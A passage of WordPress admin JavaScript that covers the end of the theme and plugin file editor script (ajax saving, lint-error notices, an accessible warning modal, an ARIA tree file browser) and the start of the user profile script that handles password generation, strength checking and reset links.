		component.form.on( 'submit', component.submit );
		component.textarea = component.form.find( '#newcontent' );
		component.textarea.on( 'change', component.onChange );
		component.warning = $( '.file-editor-warning' );
		component.docsLookUpButton = component.form.find( '#docs-lookup' );
		component.docsLookUpList = component.form.find( '#docs-list' );

		if ( component.warning.length > 0 ) {
			component.showWarning();
		}

		if ( false !== component.codeEditor ) {
			/*
			 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
			 * its own managed dismiss buttons and also to prevent the editor from showing a notice
			 * when the file had linting errors to begin with.
			 */
			_.defer( function() {
				component.initCodeEditor();
			} );
		}

		$( component.initFileBrowser );

		$( window ).on( 'beforeunload', function() {
			if ( component.dirty ) {
				return __( 'The changes you made will be lost if you navigate away from this page.' );
			}
			return undefined;
		} );

		component.docsLookUpList.on( 'change', function() {
			var option = $( this ).val();
			if ( '' === option ) {
				component.docsLookUpButton.prop( 'disabled', true );
			} else {
				component.docsLookUpButton.prop( 'disabled', false );
			}
		} );
	};

	/**
	 * Set up and display the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.showWarning = function() {
		// Get the text within the modal.
		var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
		// Hide all the #wpwrap content from assistive technologies.
		$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
		// Detach the warning modal from its position and append it to the body.
		$( document.body )
			.addClass( 'modal-open' )
			.append( component.warning.detach() );
		// Reveal the modal and set focus on the go back button.
		component.warning
			.removeClass( 'hidden' )
			.find( '.file-editor-warning-go-back' ).trigger( 'focus' );
		// Get the links and buttons within the modal.
		component.warningTabbables = component.warning.find( 'a, button' );
		// Attach event handlers.
		component.warningTabbables.on( 'keydown', component.constrainTabbing );
		component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
		// Make screen readers announce the warning message after a short delay (necessary for some screen readers).
		setTimeout( function() {
			wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
		}, 1000 );
	};

	/**
	 * Constrain tabbing within the warning modal.
	 *
	 * @since 4.9.0
	 * @param {Object} event jQuery event object.
	 * @return {void}
	 */
	component.constrainTabbing = function( event ) {
		var firstTabbable, lastTabbable;

		if ( 9 !== event.which ) {
			return;
		}

		firstTabbable = component.warningTabbables.first()[0];
		lastTabbable = component.warningTabbables.last()[0];

		if ( lastTabbable === event.target && ! event.shiftKey ) {
			firstTabbable.focus();
			event.preventDefault();
		} else if ( firstTabbable === event.target && event.shiftKey ) {
			lastTabbable.focus();
			event.preventDefault();
		}
	};

	/**
	 * Dismiss the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.dismissWarning = function() {

		wp.ajax.post( 'dismiss-wp-pointer', {
			pointer: component.themeOrPlugin + '_editor_notice'
		});

		// Hide modal.
		component.warning.remove();
		$( '#wpwrap' ).removeAttr( 'aria-hidden' );
		$( 'body' ).removeClass( 'modal-open' );
	};

	/**
	 * Callback for when a change happens.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.onChange = function() {
		component.dirty = true;
		component.removeNotice( 'file_saved' );
	};

	/**
	 * Submit file via Ajax.
	 *
	 * @since 4.9.0
	 * @param {jQuery.Event} event - Event.
	 * @return {void}
	 */
	component.submit = function( event ) {
		var data = {}, request;
		event.preventDefault(); // Prevent form submission in favor of Ajax below.
		$.each( component.form.serializeArray(), function() {
			data[ this.name ] = this.value;
		} );

		// Use value from codemirror if present.
		if ( component.instance ) {
			data.newcontent = component.instance.codemirror.getValue();
		}

		if ( component.isSaving ) {
			return;
		}

		// Scroll ot the line that has the error.
		if ( component.lintErrors.length ) {
			component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
			return;
		}

		component.isSaving = true;
		component.textarea.prop( 'readonly', true );
		if ( component.instance ) {
			component.instance.codemirror.setOption( 'readOnly', true );
		}

		component.spinner.addClass( 'is-active' );
		request = wp.ajax.post( 'edit-theme-plugin-file', data );

		// Remove previous save notice before saving.
		if ( component.lastSaveNoticeCode ) {
			component.removeNotice( component.lastSaveNoticeCode );
		}

		request.done( function( response ) {
			component.lastSaveNoticeCode = 'file_saved';
			component.addNotice({
				code: component.lastSaveNoticeCode,
				type: 'success',
				message: response.message,
				dismissible: true
			});
			component.dirty = false;
		} );

		request.fail( function( response ) {
			var notice = $.extend(
				{
					code: 'save_error',
					message: __( 'Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.' )
				},
				response,
				{
					type: 'error',
					dismissible: true
				}
			);
			component.lastSaveNoticeCode = notice.code;
			component.addNotice( notice );
		} );

		request.always( function() {
			component.spinner.removeClass( 'is-active' );
			component.isSaving = false;

			component.textarea.prop( 'readonly', false );
			if ( component.instance ) {
				component.instance.codemirror.setOption( 'readOnly', false );
			}
		} );
	};

	/**
	 * Add notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {Object}   notice - Notice.
	 * @param {string}   notice.code - Code.
	 * @param {string}   notice.type - Type.
	 * @param {string}   notice.message - Message.
	 * @param {boolean}  [notice.dismissible=false] - Dismissible.
	 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
	 * @return {jQuery} Notice element.
	 */
	component.addNotice = function( notice ) {
		var noticeElement;

		if ( ! notice.code ) {
			throw new Error( 'Missing code.' );
		}

		// Only let one notice of a given type be displayed at a time.
		component.removeNotice( notice.code );

		noticeElement = $( component.noticeTemplate( notice ) );
		noticeElement.hide();

		noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
			component.removeNotice( notice.code );
			if ( notice.onDismiss ) {
				notice.onDismiss( notice );
			}
		} );

		wp.a11y.speak( notice.message );

		component.noticesContainer.append( noticeElement );
		noticeElement.slideDown( 'fast' );
		component.noticeElements[ notice.code ] = noticeElement;
		return noticeElement;
	};

	/**
	 * Remove notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} code - Notice code.
	 * @return {boolean} Whether a notice was removed.
	 */
	component.removeNotice = function( code ) {
		if ( component.noticeElements[ code ] ) {
			component.noticeElements[ code ].slideUp( 'fast', function() {
				$( this ).remove();
			} );
			delete component.noticeElements[ code ];
			return true;
		}
		return false;
	};

	/**
	 * Initialize code editor.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initCodeEditor = function initCodeEditor() {
		var codeEditorSettings, editor;

		codeEditorSettings = $.extend( {}, component.codeEditor );

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabPrevious = function() {
			$( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' );
		};

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabNext = function() {
			$( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' );
		};

		/**
		 * Handle change to the linting errors.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errors - List of linting errors.
		 * @return {void}
		 */
		codeEditorSettings.onChangeLintingErrors = function( errors ) {
			component.lintErrors = errors;

			// Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
			if ( 0 === errors.length ) {
				component.submitButton.toggleClass( 'disabled', false );
			}
		};

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
			var noticeElement;

			component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );

			if ( 0 !== errorAnnotations.length ) {
				noticeElement = component.addNotice({
					code: 'lint_errors',
					type: 'error',
					message: sprintf(
						/* translators: %s: Error count. */
						_n(
							'There is %s error which must be fixed before you can update this file.',
							'There are %s errors which must be fixed before you can update this file.',
							errorAnnotations.length
						),
						String( errorAnnotations.length )
					),
					dismissible: false
				});
				noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
					codeEditorSettings.onChangeLintingErrors( [] );
					component.removeNotice( 'lint_errors' );
				} );
			} else {
				component.removeNotice( 'lint_errors' );
			}
		};

		editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
		editor.codemirror.on( 'change', component.onChange );

		// Improve the editor accessibility.
		$( editor.codemirror.display.lineDiv )
			.attr({
				role: 'textbox',
				'aria-multiline': 'true',
				'aria-labelledby': 'theme-plugin-editor-label',
				'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
			});

		// Focus the editor when clicking on its label.
		$( '#theme-plugin-editor-label' ).on( 'click', function() {
			editor.codemirror.focus();
		});

		component.instance = editor;
	};

	/**
	 * Initialization of the file browser's folder states.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initFileBrowser = function initFileBrowser() {

		var $templateside = $( '#templateside' );

		// Collapse all folders.
		$templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );

		// Expand ancestors to the current file.
		$templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );

		// Find Tree elements and enhance them.
		$templateside.find( '[role="tree"]' ).each( function() {
			var treeLinks = new TreeLinks( this );
			treeLinks.init();
		} );

		// Scroll the current file into view.
		$templateside.find( '.current-file:first' ).each( function() {
			if ( this.scrollIntoViewIfNeeded ) {
				this.scrollIntoViewIfNeeded();
			} else {
				this.scrollIntoView( false );
			}
		} );
	};

	/* jshint ignore:start */
	/* jscs:disable */
	/* eslint-disable */

	/**
	 * Creates a new TreeitemLink.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	var TreeitemLink = (function () {
		/**
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeitemLink.js
		 *
		 *   Desc:   Treeitem widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/**
		 *   @constructor
		 *
		 *   @desc
		 *       Treeitem object for representing the state and user interactions for a
		 *       treeItem widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeitemLink = function (node, treeObj, group) {

			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			node.tabIndex = -1;
			this.tree = treeObj;
			this.groupTreeitem = group;
			this.domNode = node;
			this.label = node.textContent.trim();
			this.stopDefaultClick = false;

			if (node.getAttribute('aria-label')) {
				this.label = node.getAttribute('aria-label').trim();
			}

			this.isExpandable = false;
			this.isVisible = false;
			this.inGroup = false;

			if (group) {
				this.inGroup = true;
			}

			var elem = node.firstElementChild;

			while (elem) {

				if (elem.tagName.toLowerCase() == 'ul') {
					elem.setAttribute('role', 'group');
					this.isExpandable = true;
					break;
				}

				elem = elem.nextElementSibling;
			}

			this.keyCode = Object.freeze({
				RETURN: 13,
				SPACE: 32,
				PAGEUP: 33,
				PAGEDOWN: 34,
				END: 35,
				HOME: 36,
				LEFT: 37,
				UP: 38,
				RIGHT: 39,
				DOWN: 40
			});
		};

		TreeitemLink.prototype.init = function () {
			this.domNode.tabIndex = -1;

			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'treeitem');
			}

			this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
			this.domNode.addEventListener('click', this.handleClick.bind(this));
			this.domNode.addEventListener('focus', this.handleFocus.bind(this));
			this.domNode.addEventListener('blur', this.handleBlur.bind(this));

			if (this.isExpandable) {
				this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
			else {
				this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
		};

		TreeitemLink.prototype.isExpanded = function () {

			if (this.isExpandable) {
				return this.domNode.getAttribute('aria-expanded') === 'true';
			}

			return false;

		};

		/* EVENT HANDLERS */

		TreeitemLink.prototype.handleKeydown = function (event) {
			var tgt = event.currentTarget,
				flag = false,
				_char = event.key,
				clickEvent;

			function isPrintableCharacter(str) {
				return str.length === 1 && str.match(/\S/);
			}

			function printableCharacter(item) {
				if (_char == '*') {
					item.tree.expandAllSiblingItems(item);
					flag = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						item.tree.setFocusByFirstCharacter(item, _char);
						flag = true;
					}
				}
			}

			this.stopDefaultClick = false;

			if (event.altKey || event.ctrlKey || event.metaKey) {
				return;
			}

			if (event.shift) {
				if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
					event.stopPropagation();
					this.stopDefaultClick = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						printableCharacter(this);
					}
				}
			}
			else {
				switch (event.keyCode) {
					case this.keyCode.SPACE:
					case this.keyCode.RETURN:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.collapseTreeitem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
							flag = true;
						}
						else {
							event.stopPropagation();
							this.stopDefaultClick = true;
						}
						break;

					case this.keyCode.UP:
						this.tree.setFocusToPreviousItem(this);
						flag = true;
						break;

					case this.keyCode.DOWN:
						this.tree.setFocusToNextItem(this);
						flag = true;
						break;

					case this.keyCode.RIGHT:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.setFocusToNextItem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
						}
						flag = true;
						break;

					case this.keyCode.LEFT:
						if (this.isExpandable && this.isExpanded()) {
							this.tree.collapseTreeitem(this);
							flag = true;
						}
						else {
							if (this.inGroup) {
								this.tree.setFocusToParentItem(this);
								flag = true;
							}
						}
						break;

					case this.keyCode.HOME:
						this.tree.setFocusToFirstItem();
						flag = true;
						break;

					case this.keyCode.END:
						this.tree.setFocusToLastItem();
						flag = true;
						break;

					default:
						if (isPrintableCharacter(_char)) {
							printableCharacter(this);
						}
						break;
				}
			}

			if (flag) {
				event.stopPropagation();
				event.preventDefault();
			}
		};

		TreeitemLink.prototype.handleClick = function (event) {

			// Only process click events that directly happened on this treeitem.
			if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
				return;
			}

			if (this.isExpandable) {
				if (this.isExpanded()) {
					this.tree.collapseTreeitem(this);
				}
				else {
					this.tree.expandTreeitem(this);
				}
				event.stopPropagation();
			}
		};

		TreeitemLink.prototype.handleFocus = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.add('focus');
		};

		TreeitemLink.prototype.handleBlur = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.remove('focus');
		};

		TreeitemLink.prototype.handleMouseOver = function (event) {
			event.currentTarget.classList.add('hover');
		};

		TreeitemLink.prototype.handleMouseOut = function (event) {
			event.currentTarget.classList.remove('hover');
		};

		return TreeitemLink;
	})();

	/**
	 * Creates a new TreeLinks.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	TreeLinks = (function () {
		/*
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeLinks.js
		 *
		 *   Desc:   Tree widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/*
		 *   @constructor
		 *
		 *   @desc
		 *       Tree item object for representing the state and user interactions for a
		 *       tree widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeLinks = function (node) {
			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			this.domNode = node;

			this.treeitems = [];
			this.firstChars = [];

			this.firstTreeitem = null;
			this.lastTreeitem = null;

		};

		TreeLinks.prototype.init = function () {

			function findTreeitems(node, tree, group) {

				var elem = node.firstElementChild;
				var ti = group;

				while (elem) {

					if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
						ti = new TreeitemLink(elem, tree, group);
						ti.init();
						tree.treeitems.push(ti);
						tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
					}

					if (elem.firstElementChild) {
						findTreeitems(elem, tree, ti);
					}

					elem = elem.nextElementSibling;
				}
			}

			// Initialize pop up menus.
			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'tree');
			}

			findTreeitems(this.domNode, this, false);

			this.updateVisibleTreeitems();

			this.firstTreeitem.domNode.tabIndex = 0;

		};

		TreeLinks.prototype.setFocusToItem = function (treeitem) {

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if (ti === treeitem) {
					ti.domNode.tabIndex = 0;
					ti.domNode.focus();
				}
				else {
					ti.domNode.tabIndex = -1;
				}
			}

		};

		TreeLinks.prototype.setFocusToNextItem = function (currentItem) {

			var nextItem = false;

			for (var i = (this.treeitems.length - 1); i >= 0; i--) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					nextItem = ti;
				}
			}

			if (nextItem) {
				this.setFocusToItem(nextItem);
			}

		};

		TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {

			var prevItem = false;

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					prevItem = ti;
				}
			}

			if (prevItem) {
				this.setFocusToItem(prevItem);
			}
		};

		TreeLinks.prototype.setFocusToParentItem = function (currentItem) {

			if (currentItem.groupTreeitem) {
				this.setFocusToItem(currentItem.groupTreeitem);
			}
		};

		TreeLinks.prototype.setFocusToFirstItem = function () {
			this.setFocusToItem(this.firstTreeitem);
		};

		TreeLinks.prototype.setFocusToLastItem = function () {
			this.setFocusToItem(this.lastTreeitem);
		};

		TreeLinks.prototype.expandTreeitem = function (currentItem) {

			if (currentItem.isExpandable) {
				currentItem.domNode.setAttribute('aria-expanded', true);
				this.updateVisibleTreeitems();
			}

		};

		TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
					this.expandTreeitem(ti);
				}
			}

		};

		TreeLinks.prototype.collapseTreeitem = function (currentItem) {

			var groupTreeitem = false;

			if (currentItem.isExpanded()) {
				groupTreeitem = currentItem;
			}
			else {
				groupTreeitem = currentItem.groupTreeitem;
			}

			if (groupTreeitem) {
				groupTreeitem.domNode.setAttribute('aria-expanded', false);
				this.updateVisibleTreeitems();
				this.setFocusToItem(groupTreeitem);
			}

		};

		TreeLinks.prototype.updateVisibleTreeitems = function () {

			this.firstTreeitem = this.treeitems[0];

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				var parent = ti.domNode.parentNode;

				ti.isVisible = true;

				while (parent && (parent !== this.domNode)) {

					if (parent.getAttribute('aria-expanded') == 'false') {
						ti.isVisible = false;
					}
					parent = parent.parentNode;
				}

				if (ti.isVisible) {
					this.lastTreeitem = ti;
				}
			}

		};

		TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
			var start, index;
			_char = _char.toLowerCase();

			// Get start index for search based on position of currentItem.
			start = this.treeitems.indexOf(currentItem) + 1;
			if (start === this.treeitems.length) {
				start = 0;
			}

			// Check remaining slots in the menu.
			index = this.getIndexFirstChars(start, _char);

			// If not found in remaining slots, check from beginning.
			if (index === -1) {
				index = this.getIndexFirstChars(0, _char);
			}

			// If match was found...
			if (index > -1) {
				this.setFocusToItem(this.treeitems[index]);
			}
		};

		TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
			for (var i = startIndex; i < this.firstChars.length; i++) {
				if (this.treeitems[i].isVisible) {
					if (_char === this.firstChars[i]) {
						return i;
					}
				}
			}
			return -1;
		};

		return TreeLinks;
	})();

	/* jshint ignore:end */
	/* jscs:enable */
	/* eslint-enable */

	return component;
})( jQuery );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
 */
wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || {
	saveAlert: '',
	saveError: '',
	lintError: {
		alternative: 'wp.i18n',
		func: function() {
			return {
				singular: '',
				plural: ''
			};
		}
	}
};

wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );
/**
 * @output wp-admin/js/user-profile.js
 */

/* global ajaxurl, pwsL10n, userProfileL10n */
(function($) {
	var updateLock = false,
		__ = wp.i18n.__,
		$pass1Row,
		$pass1,
		$pass2,
		$weakRow,
		$weakCheckbox,
		$toggleButton,
		$submitButtons,
		$submitButton,
		currentPass,
		$passwordWrapper;

	function generatePassword() {
		if ( typeof zxcvbn !== 'function' ) {
			setTimeout( generatePassword, 50 );
			return;
		} else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) {
			// zxcvbn loaded before user entered password, or generating new password.
			$pass1.val( $pass1.data( 'pw' ) );
			$pass1.trigger( 'pwupdate' );
			showOrHideWeakPasswordCheckbox();
		} else {
			// zxcvbn loaded after the user entered password, check strength.
			check_pass_strength();
			showOrHideWeakPasswordCheckbox();
		}

		/*
		 * This works around a race condition when zxcvbn loads quickly and
		 * causes `generatePassword()` to run prior to the toggle button being
		 * bound.
		 */
		bindToggleButton();

		// Install screen.
		if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) {
			// Show the password not masked if admin_password hasn't been posted yet.
			$pass1.attr( 'type', 'text' );
		} else {
			// Otherwise, mask the password.
			$toggleButton.trigger( 'click' );
		}

		// Once zxcvbn loads, passwords strength is known.
		$( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) );

		// Focus the password field.
		if ( 'mailserver_pass' !== $pass1.prop('id' ) ) {
			$( $pass1 ).trigger( 'focus' );
		}
	}

	function bindPass1() {
		currentPass = $pass1.val();

		if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) {
			generatePassword();
		}

		$pass1.on( 'input' + ' pwupdate', function () {
			if ( $pass1.val() === currentPass ) {
				return;
			}

			currentPass = $pass1.val();

			// Refresh password strength area.
			$pass1.removeClass( 'short bad good strong' );
			showOrHideWeakPasswordCheckbox();
		} );
	}

	function resetToggle( show ) {
		$toggleButton
			.attr({
				'aria-label': show ? __( 'Show password' ) : __( 'Hide password' )
			})
			.find( '.text' )
				.text( show ? __( 'Show' ) : __( 'Hide' ) )
			.end()
			.find( '.dashicons' )
				.removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' )
				.addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' );
	}

	function bindToggleButton() {
		if ( !! $toggleButton ) {
			// Do not rebind.
			return;
		}
		$toggleButton = $pass1Row.find('.wp-hide-pw');
		$toggleButton.show().on( 'click', function () {
			if ( 'password' === $pass1.attr( 'type' ) ) {
				$pass1.attr( 'type', 'text' );
				resetToggle( false );
			} else {
				$pass1.attr( 'type', 'password' );
				resetToggle( true );
			}
		});
	}

	/**
	 * Handle the password reset button. Sets up an ajax callback to trigger sending
	 * a password reset email.
	 */
	function bindPasswordResetLink() {
		$( '#generate-reset-link' ).on( 'click', function() {
			var $this  = $(this),
				data = {
					'user_id': userProfileL10n.user_id, // The user to send a reset to.
					'nonce':   userProfileL10n.nonce    // Nonce to validate the action.
				};

				// Remove any previous error messages.
				$this.parent().find( '.notice-error' ).remove();

				// Send the reset request.
				var resetAction =  wp.ajax.post( 'send-password-reset', data );

				// Handle reset success.
				resetAction.done( function( response ) {
					addInlineNotice( $this, true, response );
				} );

				// Handle reset failure.
				resetAction.fail( function( response ) {
					addInlineNotice( $this, false, response );
				} );

		});

	}

	/**
	 * Helper function to insert an inline notice of success or failure.
	 *
	 * @param {jQuery Object} $this   The button element: the message will be inserted
	 *                                above this button
	 * @param {bool}          success Whether the message is a success message.
	 * @param {string}        message The message to insert.
	 */
	function addInlineNotice( $this, success, message ) {
		var resultDiv = $( '<div />' );

		// Set up the notice div.
		resultDiv.addClass( 'notice inline' );

		// Add a class indicating success or failure.
		resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) );

		// Add the message, wrapping in a p tag, with a fadein to highlight each message.
		resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />');

		// Disable the button when the callback has succeeded.
		$this.prop( 'disabled', success );

		// Remove any previous notices.
		$this.siblings( '.notice' ).remove();

		// Insert the notice.
		$this.before( resultDiv );
	}

	function bindPasswordForm() {
		var $generateButton,
			$cancelButton;

		$pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' );

		// Hide the confirm password field when JavaScript support is enabled.
		$('.user-pass2-wrap').hide();

		$submitButton = $( '#submit, #wp-submit' ).on( 'click', function () {
			updateLock = false;
		});

		$submitButtons = $submitButton.add( ' #createusersub' );

		$weakRow = $( '.pw-weak' );
		$weakCheckbox = $weakRow.find( '.pw-checkbox' );
		$weakCheckbox.on( 'change', function() {
			$submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) );
		} );

		$pass1 = $('#pass1, #mailserver_pass');
		if ( $pass1.length ) {
			bindPass1();
		} else {
			// Password field for the login form.
			$pass1 = $( '#user_pass' );
		}

		/*
		 * Fix a LastPass mismatch issue, LastPass only changes pass2.
		 *
		 * This fixes the issue by copying any changes from the hidden
		 * pass2 field to the pass1 field, then running check_pass_strength.
		 */
		$pass2 = $( '#pass2' ).on( 'input', function () {
			if ( $pass2.val().length > 0 ) {
				$pass1.val( $pass2.val() );
				$pass2.val('');
				currentPass = '';
				$pass1.trigger( 'pwupdate' );
			}
		} );

		// Disable hidden inputs to prevent autofill and submission.
		if ( $pass1.is( ':hidden' ) ) {
			$pass1.prop( 'disabled', true );
			$pass2.prop( 'disabled', true );
		}

		$passwordWrapper = $pass1Row.find( '.wp-pwd' );
		$generateButton  = $pass1Row.find( 'button.wp-generate-pw' );

		bindToggleButton();

		$generateButton.show();
		$generateButton.on( 'click', function () {
			updateLock = true;

			// Make sure the password fields are shown.
			$generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' );
			$passwordWrapper
				.show()
				.addClass( 'is-open' );

			// Enable the inputs when showing.
			$pass1.attr( 'disabled', false );
			$pass2.attr( 'disabled', false );

			// Set the password to the generated value.
			generatePassword();

			// Show generated password in plaintext by default.
			resetToggle ( false );

			// Generate the next password and cache.
			wp.ajax.post( 'generate-password' )
				.done( function( data ) {
					$pass1.data( 'pw', data );
				} );
		} );

		$cancelButton = $pass1Row.find( 'button.wp-cancel-pw' );
		$cancelButton.on( 'click', function () {
			updateLock = false;

			// Disable the inputs when hiding to prevent autofill and submission.
			$pass1.prop( 'disabled', true );
			$pass2.prop( 'disabled', true );

			// Clear password field and update the UI.
			$pass1.val( '' ).trigger( 'pwupdate' );
			resetToggle( false );

			// Hide password controls.
			$passwordWrapper
				.hide()
				.removeClass( 'is-open' );

			// Stop an empty password from being submitted as a change.
			$submitButtons.prop( 'disabled', false );

			$generateButton.attr( 'aria-expanded', 'false' );
		} );

		$pass1Row.closest( 'form' ).on( 'submit', function () {
			updateLock = false;

			$pass1.prop( 'disabled', false );
			$pass2.prop( 'disabled', false );
			$pass2.val( $pass1.val() );
		});
	}

	function check_pass_strength() {
		var pass1 = $('#pass1').val(), strength;

		$('#pass-strength-result').removeClass('short bad good strong empty');
		if ( ! pass1 || '' ===  pass1.trim() ) {
			$( '#pass-strength-result' ).addClass( 'empty' ).html( '&nbsp;' );
			return;
		}

		strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 );

		switch ( strength ) {
			case -1:
				$( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown );
				break;
			case 2:
				$('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
				break;
			case 3:
				$('#pass-strength-result').addClass('good').html( pwsL10n.good );
				break;
			case 4:
				$('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
				break;
			case 5:
				$('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
				break;
			default:
				$('#pass-strength-result').addClass('short').html( pwsL10n.short );
		}
	}

	function showOrHideWeakPasswordCheckbox() {
		var passStrengthResult = $('#pass-strength-result');

		if ( passStrengthResult.length ) {
			var passStrength = passStrengthResult[0];

			if ( passStrength.className ) {
				$pass1.addClass( passStrength.className );
				if ( $( passStrength ).is( '.short, .bad' ) ) {
					if ( ! $weakCheckbox.prop( 'checked' ) ) {
						$submitButtons.prop( 'disabled', true );
					}
					$weakRow.show();
				} else {
					if ( $( passStrength ).is( '.empty' ) ) {
						$submitButtons.prop( 'disabled', true );
						$weakCheckbox.prop( 'checked', false );
					} else {
						$submitButtons.prop( 'disabled', false );
					}
					$weakRow.hide();
				}
			}
		}
	}

	$( function() {
		var $colorpicker, $stylesheet, user_id, current_user_id,
			select       = $( '#display_name' ),
			current_name = select.val(),
			greeting     = $( '#wp-admin-bar-my-account' ).find( '.display-name' );

		$( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength );
		$('#pass-strength-result').show();
		$('.color-palette').on( 'click', function() {
